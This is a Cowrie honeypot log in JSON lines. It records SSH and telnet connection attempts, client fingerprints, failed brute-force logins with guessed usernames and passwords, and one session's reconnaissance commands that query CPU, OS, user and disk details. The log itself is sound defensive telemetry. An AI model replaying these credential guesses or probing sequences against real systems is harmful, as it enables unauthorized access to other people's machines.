{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.107978Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.111754Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.281949Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.664099Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.667781Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:01.836872Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.206759Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.210623Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.379343Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.759382Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.763109Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:02.931097Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.306452Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.310280Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.478048Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.862163Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.866016Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":53020,"dst_ip":"159.203.135.109","dst_port":23,"session":"f170ef534376","protocol":"telnet","message":"New connection: 64.41.88.162:53020 (159.203.135.109:23) [session: f170ef534376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:03.896422Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:04.035464Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:04.415106Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:04.419294Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:04.590718Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:04.595870Z","src_ip":"88.205.172.170","session":"0386a6419222","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":53712,"dst_ip":"159.203.135.109","dst_port":23,"session":"05feefc43272","protocol":"telnet","message":"New connection: 64.41.88.162:53712 (159.203.135.109:23) [session: 05feefc43272]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:05.283801Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"8587a5a26605","protocol":"telnet","message":"New connection: 64.41.88.162:53290 (159.203.135.109:23) [session: 8587a5a26605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:05.445371Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":55680,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f6ee0cfcbb7","protocol":"telnet","message":"New connection: 64.41.88.162:55680 (159.203.135.109:23) [session: 4f6ee0cfcbb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:08.655237Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":55828,"dst_ip":"159.203.135.109","dst_port":23,"session":"db62b40c9ec3","protocol":"telnet","message":"New connection: 64.41.88.162:55828 (159.203.135.109:23) [session: db62b40c9ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:08.841531Z"}
{"eventid":"cowrie.session.closed","duration":31.997090339660645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:13.996676Z","src_ip":"104.245.105.2","session":"2f11573dee9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":59594,"dst_ip":"159.203.135.109","dst_port":23,"session":"3095e7ccfea3","protocol":"telnet","message":"New connection: 64.41.88.162:59594 (159.203.135.109:23) [session: 3095e7ccfea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:14.374927Z"}
{"eventid":"cowrie.session.closed","duration":120.0075056552887,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:20.868807Z","src_ip":"37.68.209.183","session":"45cf98797867","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":38996,"dst_ip":"159.203.135.109","dst_port":23,"session":"23e680316f5e","protocol":"telnet","message":"New connection: 64.41.88.162:38996 (159.203.135.109:23) [session: 23e680316f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:22.884983Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":60724,"dst_ip":"10.17.0.5","dst_port":22,"session":"e670349990c9","protocol":"ssh","message":"New connection: 182.253.168.47:60724 (10.17.0.5:22) [session: e670349990c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:28.330153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:28.335334Z","src_ip":"182.253.168.47","session":"e670349990c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:28.614695Z","src_ip":"182.253.168.47","session":"e670349990c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":45054,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8f9662e928","protocol":"telnet","message":"New connection: 64.41.88.162:45054 (159.203.135.109:23) [session: 3c8f9662e928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:28.668852Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":46006,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c753e0e96f","protocol":"telnet","message":"New connection: 64.41.88.162:46006 (159.203.135.109:23) [session: 46c753e0e96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:29.443240Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"e10adc3949ba59abbe56e057f20f883e","message":"login attempt [ubuntu/e10adc3949ba59abbe56e057f20f883e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:30.382025Z","src_ip":"182.253.168.47","session":"e670349990c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":47332,"dst_ip":"159.203.135.109","dst_port":23,"session":"135d25adbcda","protocol":"telnet","message":"New connection: 64.41.88.162:47332 (159.203.135.109:23) [session: 135d25adbcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:30.497149Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":48336,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a053682174","protocol":"telnet","message":"New connection: 64.41.88.162:48336 (159.203.135.109:23) [session: 30a053682174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:31.318228Z"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:31.663536Z","src_ip":"182.253.168.47","session":"e670349990c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":58724,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bf52f96a766","protocol":"telnet","message":"New connection: 20.123.41.163:58724 (10.17.0.5:23) [session: 0bf52f96a766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:35.504767Z"}
{"eventid":"cowrie.session.closed","duration":34.26990342140198,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:38.166209Z","src_ip":"64.41.88.162","session":"f170ef534376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.28075361251831,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:46.785399Z","src_ip":"20.123.41.163","session":"0bf52f96a766","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":42456,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e38981fb6b","protocol":"telnet","message":"New connection: 20.123.41.163:42456 (10.17.0.5:23) [session: 51e38981fb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:49.252982Z"}
{"eventid":"cowrie.session.closed","duration":2.087092161178589,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:56:51.339947Z","src_ip":"20.123.41.163","session":"51e38981fb6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":51836,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab76a3ed2377","protocol":"telnet","message":"New connection: 20.123.41.163:51836 (10.17.0.5:23) [session: ab76a3ed2377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:11.855917Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36378,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff083f3d2f96","protocol":"telnet","message":"New connection: 20.123.41.163:36378 (10.17.0.5:23) [session: ff083f3d2f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:16.569983Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":49244,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ac35532f4be","protocol":"ssh","message":"New connection: 182.253.168.47:49244 (10.17.0.5:22) [session: 2ac35532f4be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:26.699099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:26.704487Z","src_ip":"182.253.168.47","session":"2ac35532f4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35334,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcac64d2a580","protocol":"telnet","message":"New connection: 20.123.41.163:35334 (10.17.0.5:23) [session: dcac64d2a580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:28.919255Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":35340,"dst_ip":"10.17.0.5","dst_port":23,"session":"99d51cf48389","protocol":"telnet","message":"New connection: 20.123.41.163:35340 (10.17.0.5:23) [session: 99d51cf48389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:30.495028Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:30.574024Z","src_ip":"182.253.168.47","session":"2ac35532f4be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"111","message":"login attempt [testuser/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:31.430722Z","src_ip":"182.253.168.47","session":"2ac35532f4be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59502,"dst_ip":"10.17.0.5","dst_port":23,"session":"13953578b8e6","protocol":"telnet","message":"New connection: 20.123.41.163:59502 (10.17.0.5:23) [session: 13953578b8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:32.110893Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.62.192.112","src_port":11404,"dst_ip":"10.17.0.5","dst_port":23,"session":"bddb978d8910","protocol":"telnet","message":"New connection: 187.62.192.112:11404 (10.17.0.5:23) [session: bddb978d8910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:33.322747Z"}
{"eventid":"cowrie.session.closed","duration":5.3202314376831055,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:35.815080Z","src_ip":"20.123.41.163","session":"99d51cf48389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":59514,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e2fbf8891a5","protocol":"telnet","message":"New connection: 20.123.41.163:59514 (10.17.0.5:23) [session: 5e2fbf8891a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:37.281595Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46046,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9515dc9fce9","protocol":"telnet","message":"New connection: 104.245.105.2:46046 (10.17.0.5:23) [session: a9515dc9fce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:37.665749Z"}
{"eventid":"cowrie.session.closed","duration":67.44451260566711,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:37.941550Z","src_ip":"64.41.88.162","session":"135d25adbcda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.99730634689331,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:40.442584Z","src_ip":"64.41.88.162","session":"8587a5a26605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":96.57014751434326,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:41.853812Z","src_ip":"64.41.88.162","session":"05feefc43272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.14871740341187,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:43.803859Z","src_ip":"64.41.88.162","session":"4f6ee0cfcbb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":95.01938891410828,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:43.860803Z","src_ip":"64.41.88.162","session":"db62b40c9ec3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.025121450424194,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:46.347730Z","src_ip":"187.62.192.112","session":"bddb978d8910","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.00218200683594,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:46.377023Z","src_ip":"64.41.88.162","session":"3095e7ccfea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":40558,"dst_ip":"159.203.135.109","dst_port":23,"session":"2344250a70c4","protocol":"telnet","message":"New connection: 64.41.88.162:40558 (159.203.135.109:23) [session: 2344250a70c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:47.137265Z"}
{"eventid":"cowrie.session.closed","duration":10.027627944946289,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:47.309134Z","src_ip":"20.123.41.163","session":"5e2fbf8891a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.49307727813721,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:57:47.348865Z","src_ip":"20.123.41.163","session":"ab76a3ed2377","protocol":"telnet"}
